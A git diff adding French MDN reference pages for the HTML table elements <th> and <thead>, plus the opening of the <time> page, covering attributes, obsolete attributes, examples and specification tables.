+---
+title: <th>
+slug: Web/HTML/Element/th
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Tableaux
+  - Web
+translation_of: Web/HTML/Element/th
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;th&gt;</code></strong> définit une cellule d'un tableau comme une cellule d'en-tête pour un groupe de cellule. La nature de ce groupe est définie grâce aux attributs {{htmlattrxref("scope", "th")}} et {{htmlattrxref("headers", "th")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/th.html","tabbed-taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("abbr")}}</dt>
+ <dd>Cet attribut contient une description courte et abrégée du contenu de la cellule. Certains outils utilisateurs, comme la synthèse vocale, peuvent décrire cette information avant le contenu lui-même.</dd>
+ <dt>{{htmlattrdef("colspan")}}</dt>
+ <dd>Cet attribut contient un entier positif indiquant le nombre de colonnes sur lesquelles s'étend la cellule. La valeur par défaut est 1. Si cet attribut vaut 0, la cellule s'étend jusqu'à la fin du  {{HTMLElement("colgroup")}} auquel appartient la cellule, même si celui-ci est défini implicitement. Des valeurs supérieures à 1000 peuvent être considérées comme incorrectes et seront écrétées à 1000.</dd>
+ <dt>{{htmlattrdef("headers")}}</dt>
+ <dd>Cet attribut est une liste de chaînes de caractères séparées par des espace. Chacune correspond à l'attribut <code>id</code> de l'élément {{HTMLElement("th")}} qui s'applique à cet élément.</dd>
+ <dt>{{htmlattrdef("rowspan")}}</dt>
+ <dd>Cet attribut contient un entier positif indiquant sur combien de lignes s'étend la cellule. La valeur par défaut est 1. Si cet attribut vaut 0, la cellule s'étend jusqu'à la fin de la section ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}} du tableau à laquelle appartient la cellule même si cette section est définie implicitement. Les valeurs supérieures à 65534 seront ramenées à 65534.</dd>
+ <dt>{{htmlattrdef("scope")}}</dt>
+ <dd>Cet attribut référence les cellules auxquelles l'élément &lt;th&gt; est lié. Cet attribut est un attribut à valeur contrainte qui peut prendre les valeurs suivantes :
+ <ul>
+  <li><code>row</code>, ce qui signifie que l'en-tête s'applique à toutes les cellules de la ligne à laquelle appartient cet élément</li>
+  <li><code>col</code>, ce qui signifie que l'en-tête s'applique à toutes les cellules de la colonne à laquelle appartient cet élément</li>
+  <li><code>rowgroup</code>, ce qui signifie que l'en-tête s'applique à toutes les cellules restantes dans la ligne à laquelle appartient cet élément. Les cellules restants sont soit celles à droite de l'élément, soit celles à gauche selon la valeur de l'attribut {{htmlattrxref("dir", "table")}}</li>
+  <li><code>colgroup</code>, ce qui signifie que l'en-tête s'applique à toutes les cellules restantes dans la colonne à laquelle appartient cet élément.</li>
+  <li><em>auto</em></li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Attributs_dépréciés_ou_obsolètes">Attributs dépréciés ou obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{obsolete_inline}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut à valeurs définit l'alignement horizontal pour le contenu de chaque cellule de la colonne. Les valeurs possibles sont :
+ <ul>
+  <li><code>left </code>: le contenu de la cellule est alligné à gauche de la cellule (la valeur par défaut de cet attribut)</li>
+  <li><code>center</code> : le contenu de la cellule est centré horizontalement</li>
+  <li><code>right</code> : le contenu de la cellule est aligné à droite de la cellule</li>
+  <li><code>justify</code> : insert des espaces dans le contenu textuel afin que le contenu de la cellule soit justifié</li>
+  <li><code>char</code> : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs  {{htmlattrxref("char", "th")}} et {{htmlattrxref("charoff", "th")}} {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>Si cet attribut n'est pas renseigné, la valeur <code>left</code> est prise par défaut.</p>
+
+ <div class="note"><strong>Notes : </strong>Cet attribut est devenu obsolète dans le dernier standard et ne doit donc plus être utilisé.
+
+ <ul>
+  <li>Pour réaliser les mêmes effets que les valeurs <code>left</code>, <code>center</code>, <code>right</code> ou <code>justify</code>, il faut utiliser la propriété CSS {{cssxref("text-align")}} sur l'élément</li>
+  <li>Pour réaliser le même effet qu'avec la valeur <code>char</code>. Il est possible, en CSS3, d'utiliser la valeur de l'attribut {{htmlattrxref("char", "th")}} comme valeur de la propriété {{cssxref("text-align")}}. {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("axis")}} {{obsolete_inline}} en {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut contient une liste de chaîne de caractères (séparées par des espaces). Chaque chaîne de caractère est l'identifiant d'un groupe de cellule auquel cet en-tête s'applique.</dd>
+ <dd>
+ <div class="note"><strong>Note : </strong>Cet attribut est obsolète dans le dernier standard et ne doit donc plus être utilisé. L'attribut {{htmlattrxref("scope", "td")}} doit être utilisé pour le remplacer.</div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>Cet attribut définit la couleur d'arrière-plan de toutes les cellules de la colonne. C'est un code à 6 chiffres hexadécimaux comme défini par le <a class="external" href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>. Il est précédé d'un '#'. Un de ces seize mot-clé peut également être utilisé.
+ <table style="width: 80%;">
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>black</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>gray</code> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>purple</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td>
+     <p><code>aqua</code> = "#00FFFF"</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Note d'utilisation : </strong>Il est fortement conseillé de ne pas utiliser cet attribut car celui-ci n'est pas un attribut standard et n'a été implémentée que sous certaines versions d'Internet Explorer. L'élément {{HTMLElement("th")}} doit être mis en forme grâce au <a href="/fr/docs/CSS">CSS</a>. Pour fournir un effet semblable à celui achevé par l'attribut <code><strong>bgcolor</strong></code>, il est possible d'utiliser la propriété CSS {{cssxref("background-color")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{obsolete_inline}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut est utilisé pour définir le caractère sur lequel aligner les cellules d'une colonne. Les valeurs de cet attribut contiennent généralement un point (.) pour aligner des nombres ou des valeurs monétaires. Si l'attribut {{htmlattrxref("align", "th")}} ne vaut pas <code>char</code>, l'attribut est ignoré.</dd>
+ <dd>
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut est obsolète et il est donc fortement déconseillé de l'utiliser. De fait, il n'est pas supporté par le dernier standard. Pour réaliser le même effet qu'avec {{htmlattrxref("char", "th")}}, on peut utiliser CSS3 en attribuant la même valeur à la propriété {{cssxref("text-align")}}.{{unimplemented_inline}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{obsolete_inline}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut est utilisé pour indiquer le décalage, en nombre de caractères, depuis le caractère définit par l'attribut<strong> char</strong> à appliquer au contenu des cellules.
+ <div class="note"><strong>Note d'utilisation: </strong>Cet attribut ne doit plus être utilisé car il est maintenant obsolète et n'est plus supporté dans le dernier standard.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline}} en {{HTMLVersionInline("4")}}, {{obsolete_inline}} en {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut définit l'alignement vertical du texte des cellules de la colonne. Les valeurs possibles de cet attribut sont :
+ <ul>
+  <li><code>baseline</code> qui alignera le texte à la ligne la plus basse possible en utilisant la <a class="external" href="https://fr.wikipedia.org/wiki/Ligne_de_base_%28typographie%29">ligne de base</a> des caractères. Si les caractères ont tous la même taille, cela aura le même effet que la valeur <code>bottom</code>.</li>
+  <li><code>bottom</code> qui placera le texte au plus bas de la cellule</li>
+  <li><code>middle</code> qui centrera verticalement le texte dans la cellule</li>
+  <li><code>top</code> qui placera le texte au plus haut de la cellule.</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>Cet attribut est obsolète dans le dernier standard, la propriété CSS {{cssxref("vertical-align")}} doit être utilisée à la place.</div>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;tbody&gt;
+  &lt;tr&gt;
+   &lt;th scope="col"&gt;Spécification&lt;/th&gt;
+   &lt;th scope="col"&gt;État&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;WHATWG&lt;/td&gt;
+   &lt;td&gt;Colorad&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;W3C&lt;/td&gt;
+   &lt;td&gt;Wisconsin&lt;/td&gt;
+  &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","220")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Voir la page {{HTMLElement("table")}} pour d'autres exemples.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>
+    <div class="content-models">
+    <div id="table-mdls"><a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Contenu_de_flux">Contenu de flux</a> sans titre, pied de page, contenu sectionnant ou descendants d'un élément de titre.</div>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de début est obligatoire. La balise de fin peut être absente si l'élément est immédiatement suivi par un élément {{HTMLElement("th")}} ou par un élément {{HTMLElement("td")}} ou s'il n'y a plus de contenu au sein de l'élément parent.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("tr")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTableHeaderCellElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-th-element','th element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-th-element','th element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.th")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs aux tableaux : {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}.</li>
+</ul>
diff --git a/files/fr/web/html/element/thead/index.html b/files/fr/web/html/element/thead/index.html
new file mode 100644
index 0000000000..a563876f5b
--- /dev/null
+++ b/files/fr/web/html/element/thead/index.html
@@ -0,0 +1,242 @@
+---
+title: <thead>
+slug: Web/HTML/Element/thead
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Tableaux
+  - Web
+translation_of: Web/HTML/Element/thead
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément <strong><code>&lt;thead&gt;</code></strong> définit un ensemble de lignes qui définit l'en-tête des colonnes d'un tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/thead.html","tabbed-taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h3 id="Attributs_dépréciés_ou_obsolètes">Attributs dépréciés ou obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline}} en {{HTMLVersionInline("4")}}, {{obsolete_inline}} en {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut à valeurs définit l'alignement horizontal pour le contenu de chaque cellule. Les valeurs possibles sont :
+ <ul>
+  <li><code>left </code>: le contenu de la cellule est alligné à gauche de la cellule</li>
+  <li><code>center</code> : le contenu de la cellule est centré horizontalement</li>
+  <li><code>right</code> : le contenu de la cellule est aligné à droite de la cellule</li>
+  <li><code>justify</code> : insert des espaces dans le contenu textuel afin que le contenu de la cellule soit justifié</li>
+  <li><code>char</code> : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs  {{htmlattrxref("char", "thead")}} et {{htmlattrxref("charoff", "thead")}} {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>Si cet attribut n'est pas renseigné, la valeur <code>left</code> est prise par défaut.</p>
+
+ <div class="note"><strong>Notes : </strong>Cet attribut est devenu obsolète dans le dernier standard.
+
+ <ul>
+  <li>Pour réaliser le même effet qu'avec les valeurs left, center, right ou justify, utilisez la propriété CSS {{cssxref("text-align")}} sur cet élément.</li>
+  <li>Pour réaliser le même effet qu'avec char, vous pouvez, en CSS3, utiliser la valeur de {{htmlattrxref("char", "thead")}} comme valeur pour la propriété {{cssxref("text-align")}} {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>Cet attribut définit la couleur d'arrière-plan de toutes les cellules. C'est un code à 6 chiffres hexadécimaux comme défini par le <a class="external" href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>. Il est précédé d'un '#'. Un de ces seize mot-clé peut également être utilisé.
+ <table style="width: 80%;">
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>black</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>gray</code> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>purple</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>aqua</code> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Note d'utilisation : </strong>Il est fortement conseillé de ne pas utiliser cet attribut car celui-ci n'est pas un attribut standard et n'a été implémentée que sous certaines versions d'Internet Explorer. L'élément {{HTMLElement("thead")}} doit être mis en forme grâce au <a href="/fr/docs/CSS">CSS</a>. Pour fournir un effet semblable à celui achevé par l'attribut <strong>bgcolor</strong>, il est possible d'utiliser la propriété CSS {{cssxref("background-color")}} sur les éléments  {{HTMLElement("td")}} ou {{HTMLElement("th")}} souhaités.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{Deprecated_inline}} en {{HTMLVersionInline("4")}}, {{obsolete_inline}} en {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut est utilisé pour définir le caractère sur lequel aligner les cellules d'une colonne. Les valeurs de cet attribut contiennent généralement un point (.) pour aligner des nombres ou des valeurs monétaires. Si l'attribut {{htmlattrxref("align", "thead")}} ne vaut pas <code>char</code>, l'attribut est ignoré.</dd>
+ <dd>
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut est obsolète et il est donc fortement déconseillé de l'utiliser. De fait, il n'est pas supporté par le dernier standard. Pour réaliser le même effet qu'avec {{htmlattrxref("char", "thead")}}, on peut utiliser CSS3 en attribuant la même valeur à la propriété {{cssxref("text-align")}}.{{unimplemented_inline}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{Deprecated_inline}} en {{HTMLVersionInline("4")}}, {{obsolete_inline}} en {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut est utilisé pour indiquer le décalage, en nombre de caractères, depuis le caractère définit par l'attribut<strong> char</strong> à appliquer au contenu des cellules.
+ <div class="note"><strong>Note d'utilisation: </strong>Cet attribut ne doit plus être utilisé car il est maintenant obsolète et n'est plus supporté dans le dernier standard.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline}} en {{HTMLVersionInline("4")}}, {{obsolete_inline}} en {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut définit l'alignement vertical du texte des cellules de la colonne. Les valeurs possibles de cet attribut sont :
+ <ul>
+  <li><code>baseline</code> qui alignera le texte à la ligne la plus basse possible en utilisant la <a class="external" href="https://fr.wikipedia.org/wiki/Ligne_de_base_%28typographie%29">ligne de base</a> des caractères. Si les caractères ont tous la même taille, cela aura le même effet que la valeur <code>bottom</code>.</li>
+  <li><code>bottom</code> qui placera le texte au plus bas de la cellule</li>
+  <li><code>middle</code> qui centrera verticalement le texte dans la cellule</li>
+  <li><code>top</code> qui placera le texte au plus haut de la cellule.</li>
+ </ul>
+
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut étant maintenant obsolète (et n'étant plus supporté), il est fortement déconseillé de l'utiliser. La propriété CSS {{cssxref("vertical-align")}} doit être utilisée à la place.</div>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th&gt;Contenu d'en-tête 1&lt;/th&gt;
+      &lt;th&gt;Contenu d'en-tête 2&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tfoot&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Pied de tableau 1&lt;/td&gt;
+      &lt;td&gt;Pied de tableau 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tfoot&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Contenu interne 1&lt;/td&gt;
+      &lt;td&gt;Contenu interne 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","150")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Consulter la page {{HTMLElement("table")}} pour plus d'exemples sur <code>&lt;thead&gt;</code>.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Zéro ou plusieurs éléments {{HTMLElement("tr")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de début est obligatoire. La balise de fin peut être absente si l'élément {{HTMLElement("thead")}} est immédiatement suivi par un élément {{HTMLElement("tbody")}} ou par un élément {{HTMLElement("tfoot")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("table")}}. L'élément {{HTMLElement("thead")}} doit apparaître après tout élément {{HTMLElement("caption")}} ou {{HTMLElement("colgroup")}} (même si ce dernier est défini implicitement), il doit apparaître avant tout élément {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}} ou {{HTMLElement("tr")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTableSectionElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-thead-element','thead element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-thead-element','thead element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.thead")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML liés aux tableaux : {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("tr")}}.</li>
+ <li>Les propriétés et pseudo-classes CSS particulièrement utiles pour mettre en forme l'élément <code>&lt;thead&gt;</code> :
+  <ul>
+   <li>La pseudo-classe {{cssxref(":nth-child")}} qui permet de définir l'alignement des cellules de la colonne</li>
+   <li>La propriété {{cssxref("text-align")}} qui permet d'aligner le contenu des différentes cellules par rapport à un même caractère (par exemple le point ou la virgule).</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/time/index.html b/files/fr/web/html/element/time/index.html
new file mode 100644
index 0000000000..c64011e3cc
--- /dev/null
+++ b/files/fr/web/html/element/time/index.html
@@ -0,0 +1,171 @@
+---
+title: <time>
+slug: Web/HTML/Element/time
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/time
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;time&gt;</code></strong> permet de représenter une période donnée. Cet élément permet d'utiliser l'attribut <code>datetime</code> afin de traduire la date ou l'instant dans un format informatique (permettant aux moteurs de recherche d'exploiter ces données ou de créer des rappels).</p>
+
+<p>Cet élément permet de représenter :</p>
+
+<ul>
+ <li>une heure</li>
+ <li>une date du <a href="https://fr.wikipedia.org/wiki/Calendrier_gr%C3%A9gorien">calendrier grégorien</a> (en précisant éventuellement l'heure et les informations de fuseau horaire).</li>
+ <li><a href="https://www.w3.org/TR/2014/REC-html5-20141028/infrastructure.html#valid-duration-string">une durée valide</a>.</li>
+</ul>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/time.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd>Cet attribut indique l'heure et la date associées à l'élément. La valeur de cet attribut doit être une chaîne de caractères décrivant <a class="external" href="https://www.w3.org/TR/html51/infrastructure.html#dates-and-times">une date valide avec un fragment optionnel pour décrire l'heure</a> (cf. ci-après). Si la valeur ne peut pas être analysée comme une date/heure, le contenu de l'élément n'aura pas d'indication temporelle associée.</dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Cet élément est conçu pour présenter des dates et des heures au sein d'un document. Elles sont écrites dans un format compréhensible par un programme, ce qui peut s'avérer utile pour les agents utilisateur qui offrent des fonctionnalités de gestion de calendrier/agenda.</p>
+
